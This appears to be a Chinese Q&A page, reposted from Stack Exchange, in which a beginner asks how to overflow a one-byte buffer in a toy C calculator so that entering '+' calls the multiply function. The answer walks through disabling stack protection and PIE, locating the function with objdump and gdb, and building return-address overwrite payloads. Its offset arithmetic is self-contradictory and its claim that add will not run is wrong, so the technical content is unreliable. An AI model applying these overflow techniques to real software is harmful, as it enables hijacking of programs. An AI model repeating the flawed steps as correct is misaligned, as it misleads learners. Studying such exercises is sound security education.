如何通过缓冲区溢出使输入+的C程序执行乘法函数?
缓冲区溢出利用:输入
+时执行mal函数而非add函数 目标代码
#include <stdio.h> int num1; int num2; int res; static int add(void) { res = num1 + num2; printf("\nAnswer: %u", res); } static int sub(void) { res = num1 - num2; printf("\nAnswer: %u", res); } static int mal(void) { res = num1 * num2; printf("\nAnswer: %u", res); } static int div(void) { res = num1 / num2; printf("\nAnswer: %u", res); } void do_operator() { char op[1]; printf("Enter an operator (+, -, *, /):"); scanf("%s", &op); if (*op == '+') { add(); } else if (*op == '*') { mal(); } else if (*op == '-') { sub(); } else if (*op == '/') { div(); } else { printf("\nNo valid input: %s", op); } } int main() { printf("\nEnter number-1:"); scanf("%u", &num1); printf("\nEnter number-2:"); scanf("%u", &num2); do_operator(); return 0; }
问题
本人是缓冲区溢出漏洞利用新手,尝试对上述代码实施溢出利用:输入加法运算符+时,让程序执行乘法函数mal而非加法函数add,但多次尝试均未成功,求技术解决方案。
解决方案
1. 关闭编译保护机制
现代编译器和系统默认开启安全防护,必须先关闭才能稳定复现溢出:
gcc -fno-stack-protector -no-pie -o calc calc.c
-fno-stack-protector:关闭栈金丝雀检测,避免溢出被拦截-no-pie:关闭地址随机化,让函数内存地址固定不变
2. 获取目标函数地址
用反汇编工具提取mal函数的内存地址:
objdump -d calc | grep '<mal>'
输出示例(32位系统):
08041186 <mal>:
这里mal的地址是0x08041186,后续需要按小端序(低字节在前)写入栈中。
3. 计算栈偏移量
需要确定从op缓冲区到do_operator函数返回地址的字节数,用gdb调试:
- 启动调试:
gdb calc - 断点设在
do_operator函数:b do_operator - 运行程序:
r,输入两个测试数字(如1和2) - 程序停在断点后,查看栈布局:
- 32位:
x/20x $esp - 64位:
x/20x $rsp
- 32位:
- 输入
AAAA后继续执行:c,程序崩溃后查看EIP(32位)或RIP(64位)的值 - 计算偏移:如果EIP变为
0x41414141,说明第5-8个字符(32位4字节)覆盖了返回地址,即偏移量为1(+字符) + 4(填充到EBP)=5;64位下偏移量为1(+字符) +8(填充到RBP)=9。
4. 构造溢出Payload
Payload格式:+ + 填充字符 + mal函数地址(小端序)
- 32位示例(偏移量5,mal地址
0x08041186):
解释:+AAA\x86\x11\x04\x08+占1字节,3个A填充到EBP,最后4字节是小端序的mal地址 - 64位示例(偏移量9,mal地址
0x401186):
解释:+AAAAAAA\x86\x11\x40\x00\x00\x00\x00\x00+占1字节,7个A填充到RBP,最后8字节是小端序的mal地址
5. 验证利用
运行编译后的程序,输入两个数字后直接输入构造好的Payload,程序会执行mal函数输出乘积,而非add的和。
内容的提问来源于stack exchange,提问作者Mr.Deadpool
相关产品推荐
相关产品推荐

